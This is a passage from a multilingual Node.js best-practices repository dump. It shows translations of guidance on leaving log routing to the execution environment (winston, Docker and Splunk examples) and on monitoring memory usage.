quelque chose qui devrait être géré par l'infrastructure/l'environnement d'exécution (le plus souvent de nos jours, les conteneurs). Que se passe-t-il si vous définissez les emplacements des journaux dans votre application, mais que vous devez ensuite modifier cet emplacement ? Cela entraîne un changement de code et un déploiement. Lorsque l'on travaille avec des plateformes basées sur des conteneurs ou le cloud, les conteneurs peuvent démarrer et s'arrêter lors de la mise à l'échelle en fonction des exigences de performance, donc nous ne pouvons pas savoir où un fichier journal sera placé. L'environnement d'exécution (conteneur) devrait plutôt décider où les fichiers journaux sont dirigés. L'application doit simplement enregistrer ce dont elle a besoin dans `stdout` / `stderr`, et l'environnement d'exécution doit être configuré pour récupérer le flux de données de cet enregistrement et le diriger vers l'endroit où il doit aller. De plus, les membres de l'équipe qui doivent spécifier et/ou modifier les destinations des journaux ne sont souvent pas des développeurs d'applications mais font partie de DevOps, et ils peuvent ne pas être familiers avec le code de l'application. Cela les empêche d'apporter facilement des modifications. \n\n<br/><br/>\n\n### Exemple de code incorrect : acheminement des logs étroitement couplé à l'application\n\n```javascript\nconst { createLogger, transports, winston } = require('winston');\n/**\n   * Le fait d'exiger `winston-mongodb` exposera\n   * `winston.transports.MongoDB`\n   */\nrequire('winston-mongodb');\n \n// journalisation vers deux fichiers différents, sur lesquels l'application doit maintenant se concentrer\nconst logger = createLogger({\n  transports: [\n    new transports.File({ filename: 'combined.log' }),\n  ],\n  exceptionHandlers: [\n    new transports.File({ filename: 'exceptions.log' })\n  ]\n});\n \n// journalisation vers MongoDB, which the application now must be concerned with\nwinston.add(winston.transports.MongoDB, options);\n```\nEn procédant ainsi, l'application gère à la fois la logique applicative/métier ET la logique de routage des journaux !\n\n<br/><br/>\n\n### Exemple de code - Meilleure gestion des journaux + exemple Docker\nDans l'application :\n```javascript\nconst logger = new winston.Logger({\n  level: 'info',\n  transports: [\n    new (winston.transports.Console)()\n  ]\n});\n\nlogger.log('info', 'Test message du journal avec certains paramètres %s', 'certains paramètres', { anything: 'Voici les métadonnées' });\n```\nPuis, dans le conteneur du docker `daemon.json` :\n```json5\n{\n  \"log-driver\": \"splunk\", // en utilisant Splunk comme exemple, il pourrait s'agir d'un autre type de stockage\n  \"log-opts\": {\n    \"splunk-token\": \"\",\n    \"splunk-url\": \"\",\n    //...\n  }\n}\n```\nCet exemple se présente donc comme suit : `log -> stdout -> conteneur Docker -> Splunk`\n\n<br/><br/>\n\n### Citation du blog : « O'Reilly »\n\nExtrait du [blog de O'Reilly](https://www.oreilly.com/ideas/a-cloud-native-approach-to-logs),\n > Lorsque vous avez un nombre fixe d'instances sur un nombre fixe de serveurs, le stockage des journaux sur disque semble logique. Cependant, lorsque votre application peut passer dynamiquement d'une instance à 100, et que vous n'avez aucune idée de l'endroit où ces instances sont exécutées, vous avez besoin que votre fournisseur du cloud s'occupe de l'agrégation de ces journaux en votre nom.\n\n<br/><br/>\n\n### Citation : « 12-Factor »\n\nExtrait de [12-Factor les meilleures pratiques pour la journalisation](https://12factor.net/logs),\n > Une application à douze facteurs ne se préoccupe jamais du routage ou du stockage de son flux de sortie. Elle ne doit pas essayer d'écrire dans les fichiers journaux ou de les gérer. Au lieu de cela, chaque processus en cours d'exécution écrit son flux d'événements, sans bufferisation, sur stdout.\n \n > Lors des déploiements d'environnement de test ou de production, chaque flux de processus sera capturé par l'environnement d'exécution, regroupé avec tous les autres flux de l'application, et acheminé vers une ou plusieurs destinations finales pour être visionné et archivé à long terme. Ces destinations d'archivage ne sont pas visibles ou configurables par l'application, mais sont entièrement gérées par l'environnement d'exécution.\n\n<br/><br/>\n\n ### Exemple : aperçu de l'architecture en utilisant Docker et Splunk comme exemple\n\n![alt text](../../assets/images/logging-overview.png \"Aperçu du routage des journaux\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/logrouting.japanese.md",
    "content": "# アプリケーションコードでログのルーティングを処理してはいけません\n\n<br/><br/>\n\n### 一段落説明\n\nアプリケーションコードはログルーティングを扱うべきではなく、代わりにロガーユーティリティを使用して `stdout/stderr` に書き込むべきです。「ログルーティング」とは、ログを拾ってアプリケーションやアプリケーションプロセスとは別の場所にプッシュすること、例えば、ファイルやデータベースなどにログを書き込むことを意味します。その理由は主に2つあります: 1)懸念事項の分離と、2) [12-Factor best practices for modern applications(現代のアプリケーションのための12ファクターのベストプラクティス)](https://12factor.net/logs)。\n\n私たちはしばしば、サービス間やサービス自体の間のコードの断片という意味で「懸念の分離」を考えますが、これはより「インフラストラクチャ的」なコンポーネントにも適用されます。あなたのアプリケーションコードは、インフラストラクチャ/実行環境(最近ではコンテナが多い)で処理すべきものを処理すべきではありません。アプリケーションでログの場所を定義していて、後でその場所を変更する必要がある場合はどうなるでしょう？ その結果、コードの変更とデプロイが必要になります。コンテナベース/クラウドベースのプラットフォームで作業する場合、パフォーマンスの要求に合わせてスケーリングする際にコンテナがスピンアップしたり、シャットダウンしたりすることがあるので、ログファイルがどこで終わるかわからないのです。そのため、ログファイルの行き先は実行環境 (コンテナ) が決めるべきです。アプリケーションは必要なものを `stdout` / `stderr` にログを記録し、実行環境はそこからログストリームを拾い、必要な場所にルートするように設定する必要があります。また、ログの送信先を指定したり変更したりする必要があるチームの人々は、アプリケーション開発者ではなく DevOps の一員であることが多く、アプリケーションのコードに精通していない可能性があります。このため、彼らが簡単に変更を行うことができません。\n\n<br/><br/>\n\n### コード例 – アンチパターン: アプリケーションと密接に結合されたログルーティング\n\n```javascript\nconst { createLogger, transports, winston } = require('winston');\n/**\n   * `winston-mongodb` を require すると\n   * `winston.transports.MongoDB` が公開されます。\n   */\nrequire('winston-mongodb');\n \n// ログを2つの異なるファイルに保存します。これはアプリケーションが考慮する必要があります。\nconst logger = createLogger({\n  transports: [\n    new transports.File({ filename: 'combined.log' }),\n  ],\n  exceptionHandlers: [\n    new transports.File({ filename: 'exceptions.log' })\n  ]\n});\n \n// ログをMongoDBに保存します。これはアプリケーションが考慮する必要があります。\nwinston.add(winston.transports.MongoDB, options);\n```\nこのようにして、アプリケーションはアプリケーション/ビジネスロジックとログルーティングロジックの両方を処理するようになりました。\n\n<br/><br/>\n\n### コード例 – より良いログ処理 + Docker の例\nアプリケーション内部:\n```javascript\nconst logger = new winston.Logger({\n  level: 'info',\n  transports: [\n    new (winston.transports.Console)()\n  ]\n});\n\nlogger.log('info', 'Test Log Message with some parameter %s', 'some parameter', { anything: 'This is metadata' });\n```\nそして、dockerコンテナの `daemon.json` で:\n```json5\n{\n  \"log-driver\": \"splunk\", // Splunk を例に挙げていますが、別のストレージタイプを入力する可能性があります。\n  \"log-opts\": {\n    \"splunk-token\": \"\",\n    \"splunk-url\": \"\",\n    //...\n  }\n}\n```\nそのため、この例では `log -> stdout -> Docker container -> Splunk` のようになります。\n\n<br/><br/>\n\n### ブログ引用: 「オライリー・ジャパン\n\n[オライリーブログ](https://www.oreilly.com/ideas/a-cloud-native-approach-to-logs) より、\n > 一定数のサーバ上に一定数のインスタンスがある場合、ディスク上にログを保存することは理にかなっているように思えます。しかし、アプリケーションが実行中の1つのインスタンスから100のインスタンスへと動的に変化し、それらのインスタンスがどこで実行されているのか分からない場合は、クラウドプロバイダーにログの集計を代行してもらう必要があります。\n\n<br/><br/>\n\n### 引用: 「12ファクター」\n\n[12-Factor best practices for logging(ロギングのための12ファクターのベストプラクティス)](https://12factor.net/logs) より、\n > 12 ファクターのアプリは、出力ストリームのルーティングやストレージには決して関心を持ちません。ログファイルへの書き込みや管理を試みるべきではありません。その代わり、各実行中のプロセスは、バッファリングされていないイベントストリームを標準出力に書き込みます。\n \n > ステージングまたは本番環境では、各プロセスのストリームは実行環境によってキャプチャされ、アプリからの他のすべてのストリームと照合され、1つまたはそれ以上の最終目的地にルーティングされて、表示および長期間アーカイブされます。これらのアーカイブ先は、アプリからは見えませんし、アプリで設定することもできず、代わりに実行環境によって完全に管理されます。\n\n<br/><br/>\n\n ### 例: Docker と Splunk を例にしたアーキテクチャの概要\n\n![alt text](../../assets/images/logging-overview.png \"ログルーティングの概要\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/logrouting.md",
    "content": "# Your application code should not handle log routing\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nApplication code should not handle log routing, but instead should use a logger utility to write to `stdout/stderr`. “Log routing” means picking up and pushing logs to a some other location than your application or application process, for example, writing the logs to a file, database, etc. The reason for this is mostly two-fold: 1) separation of concerns and 2) [12-Factor best practices for modern applications](https://12factor.net/logs).\n\nWe often think of \"separation of concerns\" in terms of pieces of code between services and between services themselves, but this applies to the more “infrastructural” components as well. Your application code should not handle something that should be handled by infrastructure/the execution environment (most often these days, containers). What happens if you define the log locations in your application, but later you need to change that location? That results in a code change and deployment. When working with container-based/cloud-based platforms, containers can spin up and shut down when scaling to performance demands, so we can't be sure where a logfile will end up. The execution environment (container) should decide where the log files get routed to instead. The application should just log what it needs to to `stdout` / `stderr`, and the execution environment should be configured to pick up the log stream from there and route it to where it needs to go. Also, those on the team who need to specify and/or change the log destinations are often not application developers but are part of DevOps, and they might not have familiarity with the application code. This prevents them from easily making changes. \n\n<br/><br/>\n\n### Code Example – Anti-pattern: Log routing tightly coupled to application\n\n```javascript\nconst { createLogger, transports, winston } = require('winston');\n/**\n   * Requiring `winston-mongodb` will expose\n   * `winston.transports.MongoDB`\n   */\nrequire('winston-mongodb');\n \n// log to two different files, which the application now must be concerned with\nconst logger = createLogger({\n  transports: [\n    new transports.File({ filename: 'combined.log' }),\n  ],\n  exceptionHandlers: [\n    new transports.File({ filename: 'exceptions.log' })\n  ]\n});\n \n// log to MongoDB, which the application now must be concerned with\nwinston.add(winston.transports.MongoDB, options);\n```\nDoing it this way, the application now handles both application/business logic AND log routing logic!\n\n<br/><br/>\n\n### Code Example – Better log handling + Docker example\nIn the application:\n```javascript\nconst logger = new winston.Logger({\n  level: 'info',\n  transports: [\n    new (winston.transports.Console)()\n  ]\n});\n\nlogger.log('info', 'Test Log Message with some parameter %s', 'some parameter', { anything: 'This is metadata' });\n```\nThen, in the docker container `daemon.json`:\n```json5\n{\n  \"log-driver\": \"splunk\", // just using Splunk as an example, it could be another storage type\n  \"log-opts\": {\n    \"splunk-token\": \"\",\n    \"splunk-url\": \"\",\n    //...\n  }\n}\n```\nSo this example ends up looking like `log -> stdout -> Docker container -> Splunk`\n\n<br/><br/>\n\n### Blog Quote: \"O'Reilly\"\n\nFrom the [O'Reilly blog](https://www.oreilly.com/ideas/a-cloud-native-approach-to-logs),\n > When you have a fixed number of instances on a fixed number of servers, storing logs on disk seems to make sense. However, when your application can dynamically go from 1 running instance to 100, and you have no idea where those instances are running, you need your cloud provider to deal with aggregating those logs on your behalf.\n\n<br/><br/>\n\n### Quote: \"12-Factor\"\n\nFrom the [12-Factor best practices for logging](https://12factor.net/logs),\n > A twelve-factor app never concerns itself with routing or storage of its output stream. It should not attempt to write to or manage logfiles. Instead, each running process writes its event stream, unbuffered, to stdout.\n \n > In staging or production deploys, each process’ stream will be captured by the execution environment, collated together with all other streams from the app, and routed to one or more final destinations for viewing and long-term archival. These archival destinations are not visible to or configurable by the app, and instead are completely managed by the execution environment.\n\n<br/><br/>\n\n ### Example: Architecture overview using Docker and Splunk as an example\n\n![alt text](../../assets/images/logging-overview.png \"Log routing overview\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/logrouting.polish.md",
    "content": "# Kod aplikacji nie powinien obsługiwać routingu dziennika\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nKod aplikacji nie powinien obsługiwać routingu dziennika, ale zamiast tego powinien używać narzędzia logger do pisania w `stdout / stderr`. „Log routing” oznacza pobieranie i przekazywanie dzienników do innej lokalizacji niż aplikacja lub proces aplikacji, na przykład zapisywanie dzienników w pliku, bazie danych itp. Powód tego jest w większości dwojaki: 1) separation of concerns oraz 2) [12-Factor best practices for modern applications](https://12factor.net/logs).\n\nCzęsto myślimy o \"separation of concerns\" jeśli chodzi o fragmenty kodu między usługami i między samymi usługami, ale dotyczy to również komponentów bardziej „infrastrukturalnych”. Twój kod aplikacji nie powinien obsługiwać czegoś, co powinno być obsługiwane przez infrastrukturę / środowisko wykonawcze (najczęściej obecnie kontenery). Co się stanie, jeśli zdefiniujesz lokalizacje dzienników w aplikacji, ale później będziesz musiał zmienić tę lokalizację? Powoduje to zmianę kodu i wdrożenie. Podczas pracy z platformami opartymi na kontenerach / chmurach kontenery mogą się obracać i zamykać podczas skalowania do wymagań wydajności, więc nie jesteśmy pewni, gdzie skończy się plik dziennika. Środowisko wykonawcze (kontener) powinno decydować, do którego miejsca kierowane są pliki dziennika. Aplikacja powinna po prostu zarejestrować to, czego potrzebuje do `stdout` /` stderr`, a środowisko wykonawcze powinno być skonfigurowane tak, aby pobierało strumień dziennika stamtąd i kierowało go tam, gdzie musi się udać. Ponadto członkowie zespołu, którzy muszą określić i / lub zmienić miejsca docelowe dziennika, często nie są programistami aplikacji, ale są częścią DevOps i mogą nie znać kodu aplikacji. Zapobiega to łatwym wprowadzaniu zmian.\n\n<br/><br/>\n\n### Przykład kodu - Antywzorzec: routing dziennika jest ściśle powiązany z aplikacją\n\n```javascript\nconst { createLogger, transports, winston } = require('winston');\n/**\n   * Requiring `winston-mongodb` will expose\n   * `winston.transports.MongoDB`\n   */\nrequire('winston-mongodb');\n \n// log to two different files, which the application now must be concerned with\nconst logger = createLogger({\n  transports: [\n    new transports.File({ filename: 'combined.log' }),\n  ],\n  exceptionHandlers: [\n    new transports.File({ filename: 'exceptions.log' })\n  ]\n});\n \n// log to MongoDB, which the application now must be concerned with\nwinston.add(winston.transports.MongoDB, options);\n```\nRobiąc to w ten sposób, aplikacja obsługuje teraz zarówno logikę aplikacji / biznesu ORAZ logikę routingu dziennika!\n\n<br/><br/>\n\n### Przykład kodu - Lepsza obsługa dziennika + przykład Docker\nW aplikacji:\n```javascript\nconst logger = new winston.Logger({\n  level: 'info',\n  transports: [\n    new (winston.transports.Console)()\n  ]\n});\n\nlogger.log('info', 'Test Log Message with some parameter %s', 'some parameter', { anything: 'This is metadata' });\n```\nNastępnie, w kontenerze dockera `daemon.json`:\n```json5\n{\n  \"log-driver\": \"splunk\", // just using Splunk as an example, it could be another storage type\n  \"log-opts\": {\n    \"splunk-token\": \"\",\n    \"splunk-url\": \"\",\n    //...\n  }\n}\n```\nTen przykład wygląda mniej więcej tak `log -> stdout -> Docker container -> Splunk`\n\n<br/><br/>\n\n### Cytat z Bloga: \"O'Reilly\"\n\nZ [O'Reilly blog](https://www.oreilly.com/ideas/a-cloud-native-approach-to-logs),\n > When you have a fixed number of instances on a fixed number of servers, storing logs on disk seems to make sense. However, when your application can dynamically go from 1 running instance to 100, and you have no idea where those instances are running, you need your cloud provider to deal with aggregating those logs on your behalf.\n\n<br/><br/>\n\n### Cytat: \"12-Factor\"\n\nZ [12-Factor best practices for logging](https://12factor.net/logs),\n > A twelve-factor app never concerns itself with routing or storage of its output stream. It should not attempt to write to or manage logfiles. Instead, each running process writes its event stream, unbuffered, to stdout.\n \n > In staging or production deploys, each process’ stream will be captured by the execution environment, collated together with all other streams from the app, and routed to one or more final destinations for viewing and long-term archival. These archival destinations are not visible to or configurable by the app, and instead are completely managed by the execution environment.\n\n<br/><br/>\n\n ### Przykład: Przegląd architektury na przykładzie Docker i Splunk\n\n![alt text](../../assets/images/logging-overview.png \"Log routing overview\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/logrouting.russian.md",
    "content": "# Код вашего приложения не должен обрабатывать журналы маршрутизации\n\n<br/><br/>\n\n### Объяснение в один абзац\n\nКод приложения не должен обрабатывать маршрутизацию журналов, вместо этого должен использовать утилиту ведения журнала для записи в `stdout/stderr`. \"Маршрутизация журналов\" означает сбор и отправку журналов в другое место, отличное от вашего приложения или процесса приложения, например, запись журналов в файл, базу данных и т.д. Причина этого в основном двоякая: 1) разделение проблемы и 2) [12-фактор лучших методов для современных приложений](https://12factor.net/logs).\n\nМы часто думаем о \"разделении интересов\" в части кода между сервисами и между самими сервисами, но это относится и к более \"инфраструктурным\" компонентам. Код вашего приложения не должен обрабатывать то, что должно обрабатываться инфраструктурой/средой исполнения (чаще всего в наши дни, контейнерами). Что произойдет, если вы определите местоположения журналов в своем приложении, но позже вам нужно будет изменить это местоположение? Это приводит к изменению кода и развертыванию. При работе с контейнерными/облачными платформами контейнеры могут раскручиваться и закрываться при масштабировании в соответствии с требованиями к производительности, поэтому мы не можем быть уверены, где будет находиться файл журнала. Среда выполнения (контейнер) должна решить, куда вместо этого будут направлены файлы журнала. Приложение должно просто записывать то, что ему нужно, в `stdout`/`stderr`, а среда выполнения должна быть настроена так, чтобы он брал поток журналов оттуда и направлял его туда, куда он должен идти. Кроме того, те члены команды, которым необходимо указать и/или изменить места назначения журналов, часто не являются разработчиками приложений, но являются частью DevOps и могут не иметь представления о коде приложения. Это мешает им легко вносить изменения.\n\n<br/><br/>\n\n### Пример кода - антипаттерн: журнал маршрутизации тесно связан с приложением\n\n```javascript\nconst { createLogger, transports, winston } = require('winston');\n/**\n   * Requiring `winston-mongodb` will expose\n   * `winston.transports.MongoDB`\n   */\nrequire('winston-mongodb');\n \n// log to two different files, which the application now must be concerned with\nconst logger = createLogger({\n  transports: [\n    new transports.File({ filename: 'combined.log' }),\n  ],\n  exceptionHandlers: [\n    new transports.File({ filename: 'exceptions.log' })\n  ]\n});\n \n// log to MongoDB, which the application now must be concerned with\nwinston.add(winston.transports.MongoDB, options);\n```\nДелая это таким образом, приложение теперь обрабатывает как логику приложения/бизнес, так и логику маршрутизации журнала!\n\n<br/><br/>\n\n### Пример кода - Улучшенная обработка журнала + пример Docker\nВ приложении:\n```javascript\nconst logger = new winston.Logger({\n  level: 'info',\n  transports: [\n    new (winston.transports.Console)()\n  ]\n});\n\nlogger.log('info', 'Test Log Message with some parameter %s', 'some parameter', { anything: 'This is metadata' });\n```\nЗатем в Docker-контейнере `daemon.json`:\n```json5\n{\n  \"log-driver\": \"splunk\", // just using Splunk as an example, it could be another storage type\n  \"log-opts\": {\n    \"splunk-token\": \"\",\n    \"splunk-url\": \"\",\n    //...\n  }\n}\n```\nТаким образом, этот пример выглядит как `log -> stdout -> Docker container -> Splunk`\n\n<br/><br/>\n\n### Блог \"O'Reilly\"\n\nИз блога [O'Reilly](https://www.oreilly.com/ideas/a-cloud-native-approach-to-logs),\n> Когда у вас есть фиксированное количество экземпляров на фиксированном количестве серверов, кажется, что хранение журналов на диске имеет смысл. Однако, когда ваше приложение может динамически переходить от 1 запущенного экземпляра к 100, и вы не знаете, где запущены эти экземпляры, вам необходимо, чтобы ваш облачный провайдер занимался агрегированием этих журналов от вашего имени.\n\n<br/><br/>\n\n### Цитата из \"12-Factor\"\n\nИз [12-Factor best practices for logging](https://12factor.net/logs),\n> Двенадцатикратное приложение никогда не занимается маршрутизацией или хранением своего выходного потока. Оно не должено пытаться писать или управлять лог-файлами. Вместо этого каждый запущенный процесс записывает свой поток событий, без буферизации, в стандартный вывод.\n \n> При промежуточном или производственном развертывании поток каждого процесса будет захвачен средой выполнения, сопоставлен со всеми другими потоками из приложения и направлен в одно или несколько конечных мест назначения для просмотра и долгосрочного архивирования. Эти архивные пункты назначения не видны и не могут быть изменены приложением, а полностью управляются средой выполнения.\n\n<br/><br/>\n\n### Пример: обзор архитектуры с использованием Docker и Splunk в качестве примера\n\n![alt text](../../assets/images/logging-overview.png \"Log routing overview\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/measurememory.basque.md",
    "content": "# Neurtu eta zaindu memoriaren erabilera\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nMundu perfektu batean, web garatzaile batek ez luke memoria ihesei aurre egin beharko. Egia esan, memoria arazoak Nodek duen arazo ezaguna da eta ezagutu egin behar dena. Node erabiltzen denean, batez ere, memoriaren erabilera etengabe kontrolatu beharra dago. Garapen eta produkzio txikiko guneetan, neurketa eskuz egin dezakezu Linux komandoak edo npm tresnak eta liburutegiak erabiliz, nodo-inspector eta memwatch bezalakoak. Eskuzko jarduera horren eragozpen nagusia da eskatzen dutela jarraipena gizaki batek egitea modu aktiboan. Ekoizpen gune serioetarako, guztiz funtsezkoa da kontrol tresna sendoak erabiltzea, adibidez (AWS CloudWatch, DataDog edo antzeko edozein sistema proaktibo), iragazkia gertatzen denean ohartarazten duena. Badaude garapen praktika gutxi batzuk ere ihesak saihesteko: saihestu datuak gordetzea maila globalean, erabili tamaina dinamikoa duten datuentzako fluxuak, mugatu aldagaiak let eta const erabiliz.\r\n\r\n<br/><br/>\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[Dyntrace](https://www.dynatrace.com/news/blog/understanding-garbage-collection-and-hunting-memory-leaks-in-node-js/) bloga:\r\n\r\n> ... ”Dagoeneko badakigun bezala, Node.jsren V8k jatorrizko kodean konpilatzen du JavaScript. Sortzen diren jatorrizko datu egiturek ez dute zerikusi handirik jatorrizko irudikapenarekin, eta V8k kudeatzen ditu soilik. Horrek esan nahi du ezin dugula memoria aktiboki esleitu edo banatu JavaScripten. V8k zabor bilketa izeneko mekanismo ezaguna erabiltzen du arazo horri aurre egiteko\".\r\n\r\n[Dyntrace](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load) bloga:\r\n\r\n> ... ... \"Adibide honek ageriko emaitzak lortzen baditu ere, prozesua beti berdina da: sortu pila zabortegiak denbora pixka bat eta memoria asko esleituta. Konparatu zabortegi batzuk zer hazten ari den jakiteko\"\r\n\r\n[Rising Stack](https://blog.risingstack.com/finding-a-memory-leak-in-node-js/) bloga:\r\n\r\n> ... “hutsegitea, Node.js 1,5 GB memoria inguru erabiltzen saiatuko da, eta hori mugatu egin behar da memoria gutxiago duten sistemetan exekutatzen denean. Hori da espero den jokabidea, zabor bilketa oso operazio garestia baita. Horren irtenbidea izan zen Node.js prozesuari beste parametro bat gehitzea: nodo –max_old_space_size = 400 server.js –production . \"\r\n\r\n“Zergatik da garestia zabor bilketa? V8 JavaScript motorrak zaborra biltzeko erabiltzen duen mekanismoa mundu osoa gelditzeko modukoa da. Praktikan, horrek esan nahi du programak exekuzioa gelditu egiten duela zabor bilketa martxan dagoen bitartean\".\r\n"
  },
  {
    "path": "sections/production/measurememory.brazilian-portuguese.md",
    "content": "# Meça e proteja o uso de memória\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nEm um mundo perfeito, um desenvolvedor Web não deve lidar com vazamentos de memória. Na realidade, os problemas de memória são uma pegadinha conhecida do Node. Acima de tudo, o uso da memória deve ser monitorado constantemente. Nos sites de desenvolvimento e produção pequena, você pode avaliar manualmente usando comandos do Linux ou ferramentas npm e bibliotecas como node-inspector e memwatch. A principal desvantagem dessas atividades manuais é que elas exigem que um ser humano monitore ativamente - para locais de produção sérios, é absolutamente vital usar ferramentas robustas de monitoramento, por exemplo. (AWS CloudWatch, DataDog ou qualquer sistema proativo semelhante) que alertam quando ocorre um vazamento. Existem também algumas diretrizes de desenvolvimento para evitar vazamentos: evite armazenar dados no nível global, use fluxos para dados com tamanho dinâmico, limite o escopo de variáveis ​​usando let e const.\r\n\r\n<br/><br/>\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\n* Do blog [Dyntrace](https://www.dynatrace.com/news/blog/understanding-garbage-collection-and-hunting-memory-leaks-in-node-js/):\r\n> ... ”Como já aprendemos, no Node.js o JavaScript é compilado para código nativo pelo V8. As estruturas de dados nativas resultantes não têm muito a ver com a representação original e são gerenciadas exclusivamente pelo V8. Isso significa que não podemos alocar ou desalocar ativamente a memória em JavaScript. O V8 usa um mecanismo bem conhecido chamado coleta de lixo para resolver esse problema.”\r\n\r\n* Do blog [Dyntrace](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\r\n> ... “Embora este exemplo leve a resultados óbvios, o processo é sempre o mesmo:\r\nCrie dumps de heap com algum tempo e uma boa quantidade de alocação de memória entre\r\nCompare alguns dumps para descobrir o que está crescendo”\r\n\r\n* Do blog [Rising Stack](https://blog.risingstack.com/finding-a-memory-leak-in-node-js/):\r\n> ... “falha, o Node.js tentará usar cerca de 1,5 GB de memória, que deve ser limitado quando executado em sistemas com menos memória. Esse é o comportamento esperado, pois a coleta de lixo é uma operação muito cara.\r\nA solução para isso foi adicionar um parâmetro extra ao processo Node.js:\r\nnode –max_old_space_size=400 server.js –production ”\r\n“Por que a coleta de lixo é cara? O mecanismo JavaScript V8 emprega um mecanismo de coletor de lixo pare-o-mundo. Na prática, isso significa que o programa interrompe a execução enquanto a coleta de lixo está em andamento.”\r\n"
  },
  {
    "path": "sections/production/measurememory.chinese.md",
    "content": "# 测量和防范内存使用情况\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n在一个完美的开发过程中, Web开发人员不应该处理内存泄漏问题。 实际上，内存问题是一个必须了解的Node已知的问题。首先，内存使用必须不断监视.在开发和小型生产站点上，您可以使用Linux命令或NPM工具和库（如node-inspector和memwatch）来手动测量。 这个人工操作的主要缺点是它们需要一个人进行积极的监控 - 对于正规的生产站点来说，使用鲁棒性监控工具是非常重要的，例如（AWS CloudWatch，DataDog或任何类似的主动系统），当泄漏发生时提醒。 防止泄漏的开发指南也很少：避免将数据存储在全局级别，使用动态大小的流数据，使用let和const限制变量范围。\r\n\r\n<br/><br/>\r\n\r\n### 其他博客说了什么\r\n\r\n* 摘自博客 [Dyntrace](https://www.dynatrace.com/news/blog/understanding-garbage-collection-and-hunting-memory-leaks-in-node-js/):\r\n> ... ”正如我们所了解到的，在Node.js 中，JavaScript被V8编译为机器码。由此产生的机器码数据结构与原始表达没有多大关系，只能由V8管理. 这意味着我们不能主动分配或释放JavaScript中的内存. V8 使用了一个众所周知的垃圾收集机制来解决这个问题.”\r\n\r\n* 摘自博客 [Dyntrace](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load):\r\n> ... “虽然这个例子导致了明显的结果，但这个过程总是一样的：用一些时间和相当数量的内存分配创建heap dumps，比较dumps，以找出正在增长的内存泄露。”\r\n\r\n* 摘自博客 [Rising Stack](https://blog.risingstack.com/finding-a-memory-leak-in-node-js/):\r\n> ... “故障, 在内存较少的系统上运行时必须限制内存，Node.js会尝试使用大约1.5GB的内存。这是预期的行为，垃圾收集是一个代价很高的操作。\r\n解决方案是为Node.js进程添加一个额外的参数:\r\nnode –max_old_space_size=400 server.js –production ”\r\n“为什么垃圾收集代价很高? V8 JavaScript 使用了 stop-the-world (STW)的垃圾回收机制。 事实上，这意味着程序在进行垃圾回收时停止执行。”"
  },
  {
    "path": "sections/production/measurememory.french.md",
    "content": "# Mesurez et protégez l'utilisation de la mémoire\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nDans un monde parfait, un développeur web ne devrait pas s'occuper des fuites de mémoire. En réalité, les problèmes de mémoire sont des phénomènes connus de Node dont il faut être conscient. Surtout, l'utilisation de la mémoire doit être constamment surveillée. Dans les sites de développement et les petits sites de production, vous pouvez mesurer manuellement en utilisant des commandes Linux ou des outils et des bibliothèques npm comme node-inspector et memwatch. Le principal inconvénient de ces activités manuelles est qu'elles nécessitent un être humain qui surveille activement - pour les sites de production sérieux, il est absolument vital d'utiliser des outils de surveillance robustes (AWS CloudWatch, DataDog ou tout autre système proactif similaire), par exemple qui alertent lorsqu'une fuite se produit. Il existe également peu de recommandations de développement pour anticiper des fuites : évitez de stocker les données au niveau global, utilisez des flux (NdT *streams*) pour les données de taille dynamique, limitez la portée des variables en utilisant des let et des const.\n\n<br/><br/>\n\n### Ce que disent les autres blogueurs\n\n* Extrait du blog de [Dyntrace](https://www.dynatrace.com/news/blog/understanding-garbage-collection-and-hunting-memory-leaks-in-node-js/) :\n> ... « Comme nous l'avons déjà appris, dans Node.js, JavaScript est compilé en code natif par V8. Les structures de données natives résultantes n'ont pas grand-chose à voir avec leur représentation d'origine et sont uniquement gérées par V8. Cela signifie que nous ne pouvons pas allouer ou désallouer activement de la mémoire en JavaScript. V8 utilise un mécanisme bien connu appelé le [ramasse-miettes](https://fr.wikipedia.org/wiki/Ramasse-miettes_(informatique)) (NdT *garbage collection*) pour résoudre ce problème. »\n\n* Extrait du blog de [Dyntrace](http://blog.argteam.com/coding/hardening-node-js-for-production-part-2-using-nginx-to-avoid-node-js-load) :\n> ... « Bien que cet exemple mène à des résultats évidents, le processus est toujours le même :\nCréez des copies de mémoires sur une certaine période avec une bonne quantité d'allocation de mémoire entre les deux\nComparez ces copies pour découvrir ce qui augmente »\n\n* Extrait du blog de [Rising Stack](https://blog.risingstack.com/finding-a-memory-leak-in-node-js/) :\n> ... « Par défaut, Node.js essaiera d'utiliser environ 1,5GB de mémoire, ce qui doit être plafonné lors de l'exécution sur des systèmes avec moins de mémoire. C'est le comportement attendu car la récupération de place est une opération très coûteuse.\nLa solution pour cela a été d'ajouter un paramètre supplémentaire au processus de Node.js :\nnode –max_old_space_size=400 server.js –production »\n« Pourquoi le ramasse-miettes coûte-t-il aussi cher ? Le moteur JavaScript V8 utilise un mécanisme d'arrêt lors du ramasse-miettes. En pratique, cela signifie que le programme arrête son exécution pendant que la récupération du ramasse-miettes est en cours. »\n"
  },
  {
    "path": "sections/production/measurememory.japanese.md",
